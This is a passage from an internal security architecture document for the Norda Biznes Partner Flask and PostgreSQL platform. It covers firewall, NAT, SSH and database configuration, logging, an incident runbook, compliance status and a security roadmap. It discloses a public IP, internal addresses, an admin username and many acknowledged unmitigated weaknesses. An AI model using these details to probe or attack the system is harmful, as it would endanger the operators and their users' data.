User Accounts Confidential PostgreSQL Password hashing, HTTPS
Password Hashes Secret PostgreSQL PBKDF2:SHA256 (salted)
Session Cookies Secret Browser + Server Encrypted, HttpOnly, Secure
API Keys Secret .env files File permissions (600), HTTPS
Email Addresses PII PostgreSQL HTTPS, access control
Chat Messages Confidential PostgreSQL HTTPS, access control
Forum Posts Public PostgreSQL Moderation
Private Messages Confidential PostgreSQL HTTPS, sender/receiver validation
Audit Reports Public PostgreSQL None (publicly accessible)
Admin Logs Confidential PostgreSQL Admin-only access

6.2 Data Encryption

Encryption in Transit:

  • HTTPS/TLS 1.2+ for all external communication
  • Let's Encrypt certificates (auto-renewal)
  • HSTS enforcement (max-age=31536000)
  • Internal communication (NPM → Flask) is HTTP (same network)

Encryption at Rest:

  • PostgreSQL database is NOT encrypted at rest
  • .env files are NOT encrypted (plaintext secrets)
  • Session cookies are encrypted (Flask built-in)

Future Improvements:

  • ⚠️ Enable PostgreSQL transparent data encryption (TDE)
  • ⚠️ Use secrets vault (HashiCorp Vault, AWS Secrets Manager)
  • ⚠️ Encrypt backups before storing

6.3 Data Retention & Deletion

Retention Policies:

  • User accounts: Indefinite (until user requests deletion)
  • Chat messages: Indefinite
  • Forum posts: Indefinite (with soft delete)
  • Private messages: Indefinite (until sender/receiver deletes)
  • Audit reports: 90 days (automatic cleanup via cron job - planned)
  • Session cookies: 7 days (automatic expiry)
  • Verification tokens: 24 hours (email verification)
  • Password reset tokens: 1 hour

Data Deletion:

  • No GDPR "right to be forgotten" implementation
  • No cascade deletion policy (orphaned records)
  • No audit log retention policy

Future Improvements:

  • ⚠️ Implement GDPR data deletion workflow
  • ⚠️ Add cascade deletion for user accounts
  • ⚠️ Create audit log retention policy (keep 1 year, then archive)

6.4 Sensitive Data Handling

PII (Personally Identifiable Information):

  • Email addresses (users table)
  • Names (users table)
  • Phone numbers (users table, company_contacts table)
  • Company NIP (companies table)

Handling:

  • HTTPS for all PII transmission
  • Access control (authenticated users only)
  • No PII encryption at rest
  • No PII masking in logs

Logging:

  • Passwords are NEVER logged
  • API keys are NEVER logged
  • ⚠️ Email addresses may appear in logs (sanitization needed)

7. API Security

7.1 External API Integrations

API Security Matrix:

API Authentication Rate Limit Cost Security Controls
Google Gemini AI API Key 1,500 req/day (free) $0 (free tier) HTTPS, key in .env, cost tracking
Google PageSpeed Insights API Key 25,000 req/day (free) $0 (free tier) HTTPS, key in .env, quota tracking
Google Places API API Key Varies Pay-per-use HTTPS, key in .env, cost tracking
Microsoft Graph API OAuth 2.0 Varies $0 (Exchange Online included) HTTPS, client secret in .env, token refresh
Brave Search API API Key 2,000 req/month (free) $0 (free tier) HTTPS, key in .env, quota tracking
KRS Open API None (public) None $0 HTTPS only

7.2 API Key Management

Storage:

  • Location: .env file
  • Permissions: 600 (owner read/write only)
  • Owner: www-data (Flask app user)

Best Practices:

  • API keys in .env (not hardcoded)
  • .env in .gitignore (never committed)
  • HTTPS for all API calls
  • No API key rotation policy
  • No secrets vault integration

API Key Rotation:

  • Manual process (no automation)
  • No versioning (immediate switch)
  • Downtime risk (if key is rotated without updating .env)

Future Improvements:

  • ⚠️ Implement secrets vault (HashiCorp Vault)
  • ⚠️ Add API key rotation workflow
  • ⚠️ Use short-lived API tokens (where supported)

7.3 API Rate Limiting & Cost Control

Client-Side Rate Limiting:

# Example: Gemini API cost tracking
@limiter.limit("30 per minute")
@app.route('/api/chat/<id>/message', methods=['POST'])
@login_required
def send_chat_message(id):
    # ... generate AI response ...

    # Track API cost in database
    cost_log = AIAPICostLog(
        api_name='gemini',
        model_name='gemini-3-flash-preview',
        input_tokens=len(prompt),
        output_tokens=len(response),
        cost_usd=0.0,  # Free tier
        endpoint='/api/chat'
    )
    db.add(cost_log)
    db.commit()

Rate Limiting Strategy:

  • Client-side: Flask-Limiter (prevent abuse)
  • Server-side: API provider rate limits (enforced by provider)

Cost Monitoring:

  • Database logging (ai_api_costs table)
  • Admin dashboard (/admin/chat-analytics)
  • No alerting on cost overruns
  • No automatic shutdown on quota exceeded

Free Tier Monitoring:

  • Gemini: 1,500 requests/day (current usage: ~50/day)
  • PageSpeed: 25,000 requests/day (current usage: ~10/day)
  • Brave: 2,000 requests/month (current usage: ~50/month)

7.4 OAuth 2.0 Security (Microsoft Graph)

Authentication Flow:

  1. Application obtains client credentials (CLIENT_ID, CLIENT_SECRET)
  2. Application requests access token from Microsoft
  3. Access token used to send emails via Graph API
  4. Token expires after 1 hour (automatic refresh)

Security Controls:

  • Client secret stored in .env
  • HTTPS for all OAuth requests
  • Access token stored in memory (not database)
  • Token expiry enforcement (1 hour)
  • No token revocation on logout

Permissions Granted:

  • Mail.Send (application permission, not delegated)
  • Allows sending email as noreply@nordabiznes.pl
  • No user impersonation (application-only auth)

8. Infrastructure Security

8.1 Network Security

Firewall Configuration (Fortigate):

# Inbound rules
allow tcp/443 from ANY to 10.22.68.250          # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250           # HTTP to NPM
allow tcp/22 from ADMIN_NET to 10.22.68.249     # SSH (admin only)
deny all from ANY to ANY                        # Default deny

# Outbound rules
allow tcp/443 from 10.22.68.249 to ANY          # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY           # HTTP (rare)
deny all from 10.22.68.250 to ANY               # NPM cannot initiate outbound

NAT Rules:

# Public IP → DMZ (reverse proxy)
85.237.177.83:443 → 10.22.68.250:443
85.237.177.83:80  → 10.22.68.250:80

Network Segmentation:

  • DMZ Zone: 10.22.68.250 (NPM only)
  • Application Zone: 10.22.68.249 (Flask + PostgreSQL)
  • Internal Services: 10.22.68.180 (Git server)

Network Security Best Practices:

  • Default deny firewall policy
  • Network segmentation (DMZ vs App zone)
  • NAT for public access (no direct Internet to app server)
  • No IDS/IPS (Intrusion Detection/Prevention System)
  • No network traffic monitoring (future improvement)

8.2 SSH Access Control

SSH Configuration:

  • Port: 22 (default)
  • Access: Restricted to ADMIN_NET (firewall rule)
  • Authentication: SSH key-based (password auth disabled)
  • Users: maciejpi (primary admin), www-data (app deployment)

SSH Hardening:

# /etc/ssh/sshd_config
PermitRootLogin no                    # Disable root login
PasswordAuthentication no             # Key-based auth only
PubkeyAuthentication yes              # Allow SSH keys
X11Forwarding no                      # Disable X11
AllowUsers maciejpi www-data          # Whitelist users

SSH Key Management:

  • SSH keys stored on admin workstations (not on server)
  • Unique SSH keys per user
  • No SSH key rotation policy
  • No centralized SSH key management

8.3 Server Hardening

Operating System:

  • Ubuntu Server 22.04 LTS (long-term support)
  • Automatic security updates enabled

Installed Services:

  • Flask/Gunicorn (application server)
  • PostgreSQL (database)
  • Nginx (system default, minimal use)
  • SSH (remote administration)

Unnecessary Services Disabled:

  • No FTP server
  • No Telnet
  • No SNMP (if not needed for monitoring)

File Permissions:

# Application directory
/var/www/nordabiznes/         # Owner: www-data, Mode: 755
/var/www/nordabiznes/.env     # Owner: www-data, Mode: 600 (secrets)
/var/www/nordabiznes/app.py   # Owner: www-data, Mode: 644

# Database directory
/var/lib/postgresql/          # Owner: postgres, Mode: 700

User Separation:

  • www-data: Flask application (limited privileges)
  • postgres: PostgreSQL database (limited privileges)
  • maciejpi: Admin user (sudo access)

8.4 Database Security

PostgreSQL Configuration:

# /etc/postgresql/14/main/postgresql.conf
listen_addresses = 'localhost'        # Bind to 127.0.0.1 only
max_connections = 100                 # Limit concurrent connections
ssl = on                              # Enable SSL (planned)
ssl_cert_file = '/path/to/cert.pem'   # SSL certificate (planned)
ssl_key_file = '/path/to/key.pem'     # SSL private key (planned)

Authentication (pg_hba.conf):

# TYPE  DATABASE        USER            ADDRESS                 METHOD
local   all             postgres                                peer
local   nordabiz        nordabiz_app                            md5
host    nordabiz        nordabiz_app    127.0.0.1/32            md5
host    all             all             0.0.0.0/0               reject  # Deny remote

Database Users:

  • postgres: Superuser (local admin only)
  • nordabiz_app: Application user (limited to nordabiz database)

Database Permissions:

-- nordabiz_app user permissions
GRANT CONNECT ON DATABASE nordabiz TO nordabiz_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO nordabiz_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO nordabiz_app;

Database Backups:

  • Frequency: Daily (via Proxmox snapshots)
  • Retention: 7 days (rolling)
  • Encryption: Not encrypted
  • Offsite: Not implemented

9. Security Monitoring

9.1 Logging

Application Logs:

# app.py logging configuration
import logging

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('/var/log/nordabiznes/app.log'),
        logging.StreamHandler()
    ]
)

Log Levels:

  • INFO: Normal operations (user login, API calls)
  • WARNING: Unexpected events (rate limit exceeded, API errors)
  • ERROR: Application errors (database connection failed, external API timeout)
  • CRITICAL: System failures (database crash, service unavailable)

Logged Events:

  • User authentication (login, logout, failed login)
  • Admin actions (user management, audit scans)
  • API calls (Gemini, PageSpeed, etc.)
  • Database errors
  • CSRF token violations (not logged)
  • Rate limit violations (not logged)

Log Storage:

  • Location: /var/log/nordabiznes/app.log
  • Rotation: Daily (via logrotate)
  • Retention: 30 days
  • Permissions: 640 (owner read/write, group read)

9.2 Monitoring & Alerting

Health Checks:

@app.route('/health')
def health():
    """Health check endpoint for monitoring"""
    try:
        # Check database connection
        db.execute(text("SELECT 1"))
        return jsonify({"status": "healthy", "database": "ok"}), 200
    except Exception as e:
        return jsonify({"status": "unhealthy", "error": str(e)}), 500

Monitoring Tools:

  • No Zabbix integration (planned)
  • No uptime monitoring (planned)
  • No performance monitoring (APM)

Alerts:

  • No alerting on service downtime
  • No alerting on database errors
  • No alerting on API quota exceeded
  • No alerting on security events (failed logins, CSRF violations)

Future Improvements:

  • ⚠️ Implement Zabbix monitoring (service uptime, resource usage)
  • ⚠️ Add alerting on critical errors (email or Slack)
  • ⚠️ Implement security event logging (SIEM integration)

9.3 Audit Trails

Database Audit Fields:

-- All tables include:
created_at TIMESTAMP DEFAULT NOW()       -- Creation timestamp
updated_at TIMESTAMP DEFAULT NOW()       -- Last update timestamp

-- User actions include:
created_by INTEGER REFERENCES users(id)  -- Creator (forum posts, messages)
moderated_by INTEGER                     -- Moderator (admin actions)
moderated_at TIMESTAMP                   -- Moderation timestamp

Auditable Events:

  • User registration (created_at)
  • User login (last_login)
  • Forum post creation (created_at, author_id)
  • Admin actions (moderated_by, moderated_at)
  • Audit scans (audited_at)
  • Password changes (not logged)
  • Permission changes (not logged)
  • Failed login attempts (not logged)

Audit Log Retention:

  • No dedicated audit log table
  • No audit log retention policy
  • No audit log archival

10. Incident Response

10.1 Incident Response Plan

Incident Categories:

  1. Security Breach (unauthorized access, data leak)
  2. Service Outage (application down, database crash)
  3. Performance Degradation (slow response, high CPU)
  4. API Abuse (quota exceeded, cost overrun)

Response Workflow:

graph LR
    Detect["🔍 Detect<br/>Incident"] --> Assess["📊 Assess<br/>Severity"]
    Assess --> Contain["🛡️ Contain<br/>Threat"]
    Contain --> Investigate["🔎 Investigate<br/>Root Cause"]
    Investigate --> Remediate["🔧 Remediate<br/>Issue"]
    Remediate --> Document["📝 Document<br/>Incident"]
    Document --> Review["🔄 Post-Mortem<br/>Review"]

    style Detect fill:#f59e0b,color:#fff
    style Contain fill:#ef4444,color:#fff
    style Remediate fill:#10b981,color:#fff

10.2 Incident Response Procedures

10.2.1 Security Breach

Detection:

  • Unusual database activity
  • Failed login attempts spike
  • Unauthorized admin actions
  • API key usage anomalies

Containment:

# 1. Disable affected user accounts
sudo -u postgres psql nordabiz -c "UPDATE users SET is_active = FALSE WHERE id = <user_id>;"

# 2. Rotate API keys immediately
# Edit .env file with new keys
vim /var/www/nordabiznes/.env

# 3. Restart application
sudo systemctl restart nordabiznes

# 4. Review access logs
sudo journalctl -u nordabiznes --since "1 hour ago" | grep -i "failed\|error\|unauthorized"

Investigation:

  • Check application logs (/var/log/nordabiznes/app.log)
  • Check database audit trails (SELECT * FROM users WHERE updated_at > NOW() - INTERVAL '1 hour')
  • Check NPM access logs (NPM admin UI)

Remediation:

  • Reset passwords for compromised accounts
  • Review and tighten access controls
  • Patch vulnerabilities (if found)
  • Notify affected users (if PII exposed)

10.2.2 Service Outage

Detection:

  • Health check endpoint returns 500
  • Users report "site is down"
  • NPM shows "502 Bad Gateway"

Diagnosis:

# 1. Check application status
sudo systemctl status nordabiznes

# 2. Check database status
sudo systemctl status postgresql

# 3. Check NPM status (on 10.22.68.250)
ssh maciejpi@10.22.68.250
docker ps | grep npm

# 4. Check network connectivity
ping 10.22.68.249
curl http://10.22.68.249:5000/health

Recovery:

# 1. Restart Flask/Gunicorn
sudo systemctl restart nordabiznes

# 2. Restart PostgreSQL (if needed)
sudo systemctl restart postgresql

# 3. Restart NPM (if needed, on 10.22.68.250)
docker restart <npm-container-id>

Post-Recovery:

  • Document incident in docs/INCIDENT_REPORT_YYYYMMDD.md
  • Review logs for root cause
  • Implement preventive measures

10.3 Incident History

Past Incidents:

  1. 2026-01-02: ERR_TOO_MANY_REDIRECTS
    • Cause: NPM proxy forwarding to port 80 instead of 5000
    • Impact: Site inaccessible for 2 hours
    • Resolution: Changed NPM forward port to 5000
    • Documentation: INCIDENT_REPORT_20260102.md

Lessons Learned:

  • Document critical configurations (port mappings) in architecture docs
  • Add verification steps after NPM configuration changes
  • Implement monitoring to detect redirect loops

11. Compliance & Best Practices

11.1 Security Standards Compliance

OWASP Top 10 Compliance:

OWASP Risk Status Mitigation
A01: Broken Access Control Mitigated Flask-Login, admin flag validation
A02: Cryptographic Failures ⚠️ Partial HTTPS (transit), no encryption at rest
A03: Injection Mitigated SQLAlchemy ORM, input sanitization
A04: Insecure Design ⚠️ Partial Security controls in place, no formal threat model
A05: Security Misconfiguration ⚠️ Partial Secure defaults, but no CSP
A06: Vulnerable Components ⚠️ Partial Dependencies updated, no automated scanning
A07: Identification & Auth Failures Mitigated Email verification, password complexity, rate limiting
A08: Software & Data Integrity ⚠️ Partial No code signing, no SBOM
A09: Security Logging & Monitoring Not Compliant Basic logging, no SIEM
A10: Server-Side Request Forgery Mitigated No user-controlled URLs in backend requests

11.2 GDPR Compliance

Personal Data Processing:

  • Privacy policy (should be published)
  • User consent (registration form)
  • Right to access (not implemented)
  • Right to deletion (not implemented)
  • Right to portability (not implemented)
  • Breach notification (no procedure)

Data Protection:

  • HTTPS encryption (in transit)
  • Database encryption (at rest)
  • Data minimization (collect only necessary data)

Future Improvements:

  • ⚠️ Implement GDPR data deletion workflow
  • ⚠️ Add privacy policy page
  • ⚠️ Add data export functionality
  • ⚠️ Implement breach notification procedure

11.3 Security Best Practices Checklist

Application Security:

  • Input validation and sanitization
  • SQL injection prevention (ORM)
  • XSS prevention (auto-escaping)
  • CSRF protection
  • Password hashing (PBKDF2:SHA256)
  • Secure session management
  • Rate limiting
  • Content Security Policy (CSP)
  • Subresource Integrity (SRI)

Infrastructure Security:

  • Firewall (Fortigate)
  • Network segmentation (DMZ, App, Data zones)
  • SSH key-based authentication
  • Principle of least privilege (www-data user)
  • IDS/IPS
  • DDoS protection (beyond Fortigate)

Operational Security:

  • Secrets in .env (not hardcoded)
  • HTTPS/TLS 1.2+
  • Automatic security updates
  • Secrets vault (HashiCorp Vault)
  • API key rotation
  • Security scanning (SAST/DAST)

Monitoring & Response:

  • Application logging
  • Health check endpoint
  • Security event monitoring
  • Alerting on critical events
  • Incident response plan (documented but not tested)

12. Security Roadmap

12.1 High Priority (Next 3 Months)

  1. Implement Content Security Policy (CSP)

    • Define CSP policy
    • Test with report-only mode
    • Deploy to production
    • Impact: Prevent XSS attacks
  2. Add Account Lockout After Failed Login Attempts

    • Implement lockout after 5 failed attempts
    • Add admin unlock functionality
    • Impact: Prevent brute force attacks
  3. Implement Security Event Logging

    • Log failed login attempts
    • Log CSRF token violations
    • Log rate limit violations
    • Log admin actions
    • Impact: Detect security incidents
  4. Set Up Monitoring & Alerting

    • Integrate with Zabbix
    • Add uptime monitoring
    • Add email alerts for downtime
    • Impact: Faster incident response

12.2 Medium Priority (3-6 Months)

  1. Implement 2FA for Admin Accounts

    • Add TOTP (Time-Based One-Time Password)
    • Require 2FA for all admin users
    • Impact: Prevent admin account compromise
  2. Add Audit Log Table

    • Create dedicated audit log table
    • Log all admin actions
    • Implement audit log retention policy
    • Impact: Compliance, forensics
  3. Implement GDPR Data Deletion Workflow

    • Add "Delete My Account" functionality
    • Cascade deletion of user data
    • Generate data export (JSON)
    • Impact: GDPR compliance
  4. Enable PostgreSQL Encryption at Rest

    • Enable transparent data encryption (TDE)
    • Encrypt database backups
    • Impact: Data breach protection

12.3 Low Priority (6-12 Months)

  1. Migrate to Secrets Vault

    • Evaluate HashiCorp Vault vs AWS Secrets Manager
    • Migrate API keys to vault
    • Implement key rotation
    • Impact: Improved secrets management
  2. Implement Automated Security Scanning

    • Add SAST (Static Application Security Testing)
    • Add DAST (Dynamic Application Security Testing)
    • Add dependency scanning (Snyk, Dependabot)
    • Impact: Proactive vulnerability detection
  3. Add Row-Level Security (RLS)

    • Implement ownership checks on all resources
    • Prevent IDOR vulnerabilities
    • Impact: Prevent unauthorized data access
  4. Implement SIEM Integration

    • Evaluate SIEM solutions (Wazuh, Splunk, ELK)
    • Forward logs to SIEM
    • Create security dashboards
    • Impact: Advanced threat detection

13.1 Architecture Documents

13.2 Code Files

Authentication & Authorization:

  • app.py (lines ~3077-3500) - Authentication routes
  • database.py (lines ~119-158) - User model

Security Utilities:

  • app.py - sanitize_input(), validate_email(), validate_password()

Email Service:

  • email_service.py - Microsoft Graph email integration

13.3 External References


14. Maintenance & Updates

14.1 When to Update This Document

Update this document when:

  • New security controls are implemented
  • Security vulnerabilities are discovered and patched
  • Authentication/authorization model changes
  • External APIs are added or removed
  • Infrastructure security configuration changes
  • Compliance requirements change (GDPR, OWASP)

14.2 Security Audit Checklist

Periodic security audit (quarterly):

  • Review user permissions and admin accounts
  • Check for unused API keys
  • Review firewall rules
  • Verify SSL/TLS certificates are valid
  • Check for outdated dependencies (pip list --outdated)
  • Review application logs for anomalies
  • Test authentication flows (login, registration, password reset)
  • Verify CSRF protection on all forms
  • Check rate limiting effectiveness
  • Review database backup integrity
  • Test incident response procedures
  • Update security roadmap

14.3 Security Training

Recommended training for team members:

  • OWASP Top 10 awareness
  • Secure coding practices
  • Incident response procedures
  • GDPR compliance basics
  • Password policy enforcement

Document End

This document is maintained as part of the Norda Biznes Partner architecture documentation. For questions or updates, contact the development team.